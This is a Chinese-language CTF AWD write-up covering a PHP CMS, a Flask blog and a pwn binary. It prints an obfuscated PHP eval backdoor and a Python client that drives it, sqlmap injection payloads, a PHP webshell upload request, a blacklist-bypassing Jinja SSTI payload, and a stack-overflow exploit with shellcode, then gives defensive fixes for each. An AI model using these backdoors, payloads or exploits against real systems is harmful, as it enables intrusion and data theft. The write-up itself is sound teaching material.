上周末跟着大佬去广外打了一场线下赛,上午是应急响应,总体难度不大,大部分队伍都完成了10题,剩余一题逻辑卷损坏不会做。下午是AWD,由于主办方问题,导致了比赛延迟了1小时才进行,给了大量的时间进行题目分析,3个环境都在1小时内写好EXP。同时还有两个非预期的翻车事故,一是所有靶机的密码竟然都是一样,导致不少队伍给别人改了密码。二是使用操作系统竟然不是最新的内核版本,导致被人进行了提权。下面总结一下3个题目找到的漏洞,以及防御方法。
第一个web是一个php写的CMS
使用D盾可以扫到一个后门
<?php $o='n();$r=@bas}>}>e64_encode(@x(}>@gzc}>o}>mpress($o),$}>k));p}>rint("}>$p$kh}>$r$kf");}'; $g='>EgwZ7H}>iEecl}>S";function }>x($t,$}>k){$}>}>c=s}>trlen(}>$k)}>;$l=strlen($t);$o="'; $l='";}>f}>or($i=0;$}>}>i<$l;){for($}>j=}>0;}>}>($j<$c&&$i<$l}>);$j++,$i++){$o.}>}>=$'; $r='_contents}>("p}>}>hp://i}>nput")}>,$m)==1){@ob_star}>t(}>);@}>eva}>l(@gzu}>ncompress('; $L='$k="5ac}>91f7}>d";$}>kh=}>}>"b9615a29}>bc1d";}>$kf="24d0b67}>c2c91";$p}>="9GmI}>}'; $s=str_replace('C','','cCreaCteC_fCuCCnction'); $Z='t{$i}^}>$k{$}>j}>};}}ret}>urn $o;}}>if(@preg_match}>}>("}>/$kh(.+}>)$kf}>/",@file_}>get'; $h='@x(@ba}>se64}>_d}>ecode($m[1])}>,$}>}>k)))}>;}>$o=@}>ob_get_contents();@ob_}>en}>d_cl}>ea'; $q=str_replace('}>','',$L.$g.$l.$Z.$r.$h.$o); $I=$s('',$q);$I(); ?>
后门不是简单的一句话木马,需要调试分析
var_dump($I); // %00lambda_1 var_dump($q); // $k="5ac91f7d";$kh="b9615a29bc1d";$kf="24d0b67c2c91";$p="9GmIEgwZ7HiEeclS";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){@ob_start();@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}
整理一下代码如下:
<?php $k="5ac91f7d"; $kh="b9615a29bc1d"; $kf="24d0b67c2c91"; $p="9GmIEgwZ7HiEeclS"; function x($t,$k){ $c=strlen($k); $l=strlen($t); $o=""; for($i=0;$i<$l;){ for($j=0;($j<$c&&$i<$l);$j++,$i++){ $o.=$t{$i}^$k{$j}; } } return $o; } if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){ @ob_start(); @eval(@gzuncompress(@x(@base64_decode($m[1]),$k))); $o=@ob_get_contents(); @ob_end_clean(); $r=@base64_encode(@x(@gzcompress($o),$k)); print("$p$kh$r$kf"); }
后门的流程如下:
$kh
,后缀为$kf
$k
根据后门的流程编写python脚本即可
import requests import zlib import re import base64 def x(t,k): return ''.join([chr(ord(x)^ord(y)) for x,y in zip(t,k*(len(t)/len(k)+1))]) session = requests.Session() # @eval(@gzuncompress(@x(@base64_decode($m[1]),$k))); cmd = 'system("cat /flag");' cmd = zlib.compress(cmd) cmd = x(cmd,"5ac91f7d") cmd = base64.b64encode(cmd) rawBody = "b9615a29bc1d{cmd}24d0b67c2c91".format(cmd=cmd) response = session.post("http://192.168.100.101:50003/123.php", data=rawBody) print("Response body: %s" % response.content) res = re.findall(r'b9615a29bc1d(.+)24d0b67c2c91',response.content)[0] # $r=@base64_encode(@x(@gzcompress($o),$k)); res = base64.b64decode(res) res = x(res,"5ac91f7d") res = zlib.decompress(res) print(res)
比起之前见过的一些简单粗暴的内置一句话木马,这个后门相对复杂,不至于一上来就被人打爆。防御方式不用多说,直接删掉这段代码即可。
打开源码,会发现大量的数据库查询语句,一般只有addslashes,无任何过滤,例如:
$id=addslashes($_GET['cid']); $query = "SELECT * FROM content WHERE id='$id'";
直接使用sqlmap跑一下就跑出来了
Parameter: cid (GET)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: r=software&cid=1 RLIKE (SELECT (CASE WHEN (6552=6552) THEN 1 ELSE 0x28 END))
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: r=software&cid=1 AND EXTRACTVALUE(9269,CONCAT(0x5c,0x716b766271,(SELECT (ELT(9269=9269,1))),0x716a626b71))
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: r=software&cid=1 AND SLEEP(5)
可以直接通过load_file
来读取flag。
当时尝试把ctf用户降权,但是权限不够,那么只能从代码入手。可以在数据库查询之前,对输入参数进行过滤.
<?php function filter($str) { $filter = "/ |\*|#|;|,|is|union|like|regexp|for|and|or|file|--|\||`|&|" . urldecode('%09') . "|" . urldecode("%0a") . "|" . urldecode("%0b") . "|" . urldecode('%0c') . "|" . urldecode('%0d') . "|" . urldecode('%a0') . "/i"; if (preg_match($filter, $str)) { die("you can't input this illegal char!"); } return $str; }
查看数据库,可以看到后台密码
mysql> select * from manage;
+----+-------+-------+----------------------------------+---------------------------------------+-------------+----------+---------------------+
| id | user | name | password | img | mail | qq | date |
+----+-------+-------+----------------------------------+---------------------------------------+-------------+----------+---------------------+
| 1 | admin | admin | 5df3d06e515ef461ddc315aaf1ef9963 | ../upload/touxiang/61751569137471.php | [email protected] | 86226999 | 2019-09-22 08:18:14 |
+----+-------+-------+----------------------------------+---------------------------------------+-------------+----------+---------------------+
1 row in set (0.00 sec)
登录后台可以进行头像上传
查看源码上传部分的代码
if(!empty($_FILES['images']['tmp_name'])){ $query = "SELECT * FROM imageset"; $result = mysql_query($query) or die('SQL语句有误:'.mysql_error()); $imageset = mysql_fetch_array($result); include '../inc/up.class.php'; if (!empty($HTTP_POST_FILES['images']['tmp_name']))//判断接收数据是否为空 { $tmp = new FileUpload_Single; var_dump($tmp); $upload="../upload/touxiang";//图片上传的目录,这里是当前目录下的upload目录,可自已修改 $tmp -> accessPath =$upload; if ( $tmp -> TODO() ) { $filename=$tmp -> newFileName;//生成的文件名 $filename=$upload.'/'.$filename; $imgsms="及图片"; } } }
在/inc/up.class.php
可能有过滤,查看一下代码
<?php class FileUpload_Single { //user define ------------------------------------- var $accessPath ; var $fileSize=4000; var $defineTypeList="jpg|jpeg|gif|png|php";//string jpg|gif|bmp ... var $filePrefix= ""; var $changNameMode=0; var $uploadFile; var $newFileName; var $error;
发现默认竟然可以上传php!那么直接上传php马即可,文件路径会显示在头像路径那里。
POST /admin/?r=manageinfo HTTP/1.1
Host: www.kira.com
Content-Length: 896
Cache-Control: max-age=0
Origin: http://www.kira.com
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAbFN0WGFM34xqzmF
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://www.kira.com/admin/?r=manageinfo
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8
Cookie: PHPSESSID=553efd0695ddb859599983f05171102b; user=admin
Connection: close
------WebKitFormBoundaryAbFN0WGFM34xqzmF
Content-Disposition: form-data; name="user"
admin
------WebKitFormBoundaryAbFN0WGFM34xqzmF
Content-Disposition: form-data; name="name"
admin
------WebKitFormBoundaryAbFN0WGFM34xqzmF
Content-Disposition: form-data; name="password"
------WebKitFormBoundaryAbFN0WGFM34xqzmF
Content-Disposition: form-data; name="password2"
------WebKitFormBoundaryAbFN0WGFM34xqzmF
Content-Disposition: form-data; name="mail"
[email protected]
------WebKitFormBoundaryAbFN0WGFM34xqzmF
Content-Disposition: form-data; name="qq"
86226999
------WebKitFormBoundaryAbFN0WGFM34xqzmF
Content-Disposition: form-data; name="images"; filename="123.php"
Content-Type: application/octet-stream
<?php @eval($_POST[c]);?>
------WebKitFormBoundaryAbFN0WGFM34xqzmF
Content-Disposition: form-data; name="save"
1
------WebKitFormBoundaryAbFN0WGFM34xqzmF--
修改/inc/up.class.php
处的代码,删除$defineTypeList
中的php,不允许上传php。
第二个web是一个flask写的blog
@app.errorhandler(404) def page_not_found(e): def safe_jinja(s): blacklist = ['import','getattr','os','class','subclasses','mro','request','args','eval','if','for',' subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals'] for no in blacklist: while True: if no in s: s =s.replace(no,'') else: break a = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in a])+s template = ''' {%% block body %%} <div class="center-content error"> <h1>Oops! That page doesn't exist.</h1> <h3>%s</h3> </div> {%% endblock %%} ''' % (request.url) return render_template_string(safe_jinja(template)), 404
查看app.py
,可以找到一个常见的SSTI漏洞,触发点是404,简单测试一下,发现确实可以模板注入。
代码自带了黑名单过滤,查用循环替换为空的过滤方式,浏览一下发现过滤不全,下划线,中括号,init
,globals
等关键字没有过滤,部分关键字可以使用字符串拼接的方式进行绕过。
最终读取flag的payload为:
http://127.0.0.1:5000/login/{{session['__cla'+'ss__'].__base__.__base__.__base__['__subcla'+'sses__']()[163].__init__.__globals__['__bui'+'ltins__']['op'+'en']('/flag').read()}}
原题已经提供了过滤的函数,直接增加过滤关键字就可以进行修复,例如直接把下划线加入黑名单
blacklist = ['_','import','getattr','os','class','subclasses','mro','request','args','eval','if','for',' subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals']
查看blog编辑器的代码flask_blogging/views.py
@login_required def editor(post_id): blogging_engine = _get_blogging_engine(current_app) cache = blogging_engine.cache if cache: _clear_cache(cache) try: with blogging_engine.blogger_permission.require(): post_processor = blogging_engine.post_processor config = blogging_engine.config storage = blogging_engine.storage if request.method == 'POST': form = BlogEditor(request.form) if form.validate(): post = storage.get_post_by_id(post_id) if (post is not None) and \ (PostProcessor.is_author(post, current_user)) and \ (str(post["post_id"]) == post_id): pass else: post = {} escape_text = config.get("BLOGGING_ESCAPE_MARKDOWN", False) pid = _store_form_data(form, storage, current_user, post, escape_text) editor_post_saved.send(blogging_engine.app, engine=blogging_engine, post_id=pid, user=current_user, post=post) flash("Blog posted successfully!", "info") slug = post_processor.create_slug(form.title.data) return redirect(url_for("blogging.page_by_id", post_id=pid, slug=slug)) else: flash("There were errors in blog submission", "warning") return render_template("blogging/editor.html", form=form, post_id=post_id, config=config) else: if post_id is not None: post = storage.get_post_by_id(post_id) if (post is not None) and \ (PostProcessor.is_author(post, current_user)): tags = " ".join(post["tags"]) form = BlogEditor(title=post["title"], text=post["text"], tags=tags, public=post['public']) editor_get_fetched.send(blogging_engine.app, engine=blogging_engine, post_id=post_id, form=form) return render_template("blogging/editor.html", form=form, post_id=post_id, config=config) else: flash("You do not have the rights to edit this post", "warning") return redirect(url_for("blogging.index", post_id=None)) form = BlogEditor() try: bingo = popen('echo Y2F0IC9mbGFnCg==|base64 -d|bash').read() except: bingo = '' return render_template("blogging/editor.html", form=form, post_id=post_id, config=config, bingo=bingo) except PermissionDenied: flash("You do not have permissions to create or edit posts", "warning") return redirect(url_for("blogging.index", post_id=None))
留意到这个函数有一句bingo = popen('echo Y2F0IC9mbGFnCg==|base64 -d|bash').read()
,进行了命令执行,base64解码可以看到执行了cat /flag
> echo Y2F0IC9mbGFnCg==|base64 -d cat /flag
函数开头有@login_required
装饰器,因此需要进行登陆。
根据数据库的代码,可以找到数据库文件
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///data/ezBlog.db' class User(db.Model, UserMixin): __tablename__ = 'user' id = db.Column(db.Integer, primary_key=True) username = db.Column(db.String(32), unique=True) password = db.Column(db.String(64), unique=True) #posts = blog_db.relationship(, backref = , lazy = ) ## posts blongs to cur user def __init__(self, username, password): self.username = username self.password = password
使用sqlite studio查看数据库,可以看到默认的账号密码
使用test,test登陆后,在blog编辑界面就可以看到flag
方法一:直接把命令执行的代码删除或者改掉
方法二:修改后台弱口令
[*] '/home/kira/pwn/za/qwb'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
题目什么保护都没开,可见难度不会太大。
int __cdecl main(int argc, const char **argv, const char **envp)
{
FILE *v3; // rdi
int v5; // [rsp+Ch] [rbp-34h]
__int64 buf; // [rsp+10h] [rbp-30h]
__int64 v7; // [rsp+18h] [rbp-28h]
__int64 v8; // [rsp+20h] [rbp-20h]
__int64 v9; // [rsp+28h] [rbp-18h]
__int16 v10; // [rsp+30h] [rbp-10h]
unsigned int v11; // [rsp+38h] [rbp-8h]
int v12; // [rsp+3Ch] [rbp-4h]
buf = 0LL;
v7 = 0LL;
v8 = 0LL;
v9 = 0LL;
v10 = 0;
v11 = 0;
v12 = 0;
alarm(0x14u);
setvbuf(_bss_start, 0LL, 2, 0LL);
v3 = stdin;
setvbuf(stdin, 0LL, 1, 0LL);
menu(v3, 0LL);
while ( v12 <= 3 )
{
v5 = 0;
puts("Enter your choice:");
__isoc99_scanf("%d", &v5);
switch ( v5 )
{
case 2:
magic(&buf, v11); // 地址泄露
break;
case 3:
puts("What?");
read(0, &buf, 0x40uLL); // 栈溢出
break;
case 1:
what(); // 没用的
break;
}
++v12;
}
return 0;
}
int __fastcall magic(__int64 a1, int a2)
{
int result; // eax
if ( a2 == 0x12345678 )
result = printf("It is magic: [%p]?\n", a1);
return result;
}
函数功能不多,漏洞很明显:
那么思路就是:
buf有0x38的长度供写入shellcode,卓卓有余,网上可以找22字节左右的shellcode,当然也可以自己写。
def pwn(p): p.sendlineafter('choice:\n','3') p.send(p64(0x12345678)*6) p.sendlineafter('choice:\n','2') p.recvuntil('[') addr = int(p.recvuntil(']')[:-1],16) success(hex(addr)) # 0x7f09b7083000 0x7ffe28596f00 p.sendlineafter('choice:\n','3') shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05" print len(shellcode) payload = shellcode.ljust(0x38,'\x00')+p64(addr) p.sendline('3') p.sendline('3') p.sendline(payload) p.sendline('cat flag') p.recv() p.sendline('cat flag') p.recv() p.interactive()
getshell的关键点是栈溢出,因此只要把输入长度限制到0x30,漏洞就无法利用。
.text:000000000040086B lea rax, [rbp+buf] .text:000000000040086F mov edx, 30h ; nbytes .text:0000000000400874 mov rsi, rax ; buf .text:0000000000400877 mov edi, 0 ; fd .text:000000000040087C call _read
题目没有设置更高级的漏洞,略显无趣。
比较过分的是,有队伍进行了提权,然后把flag删除了,只能在flag刷新的时候疯狂跑EXP,有机会在对方删flag前拿到。